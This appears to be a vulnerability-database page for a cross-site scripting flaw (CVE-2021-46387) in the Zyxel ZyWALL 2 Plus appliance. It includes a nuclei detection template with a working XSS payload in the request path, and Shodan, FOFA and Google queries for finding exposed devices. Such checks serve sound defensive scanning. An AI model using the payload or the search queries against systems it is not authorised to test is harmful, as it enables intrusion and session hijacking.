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CVE-2021-46387· zyxel / zywall 2 plus internet security appliance firmware· CWE-79

Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting

mediumseverity

6.1CVSS score

21%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>
Positive when: contains "<iMg src=x onerror=\"prompt(document.domain)\"><form>" and "Entry Error" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-46387 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-46387

info:
  name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50797
    - https://www.zyxel.com/us/en/support/security_advisories.shtml
    - https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46387
    - https://www.zyxel.com/uk/en/products_services/zywall_2_plus.shtml
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-46387
    cwe-id: CWE-79
    epss-score: 0.20955
    epss-percentile: 0.97581
    cpe: cpe:2.3:o:zyxel:zywall_2_plus_internet_security_appliance_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: zywall_2_plus_internet_security_appliance_firmware
    shodan-query:
      - http.title:"Zywall2Plus"
      - http.title:"zywall2plus"
    fofa-query: title="zywall2plus"
    google-query: intitle:"zywall2plus"
  tags: cve2021,cve,xss,zyxel,edb,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<iMg src=x onerror="prompt(document.domain)"><form>'
          - 'Entry Error'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from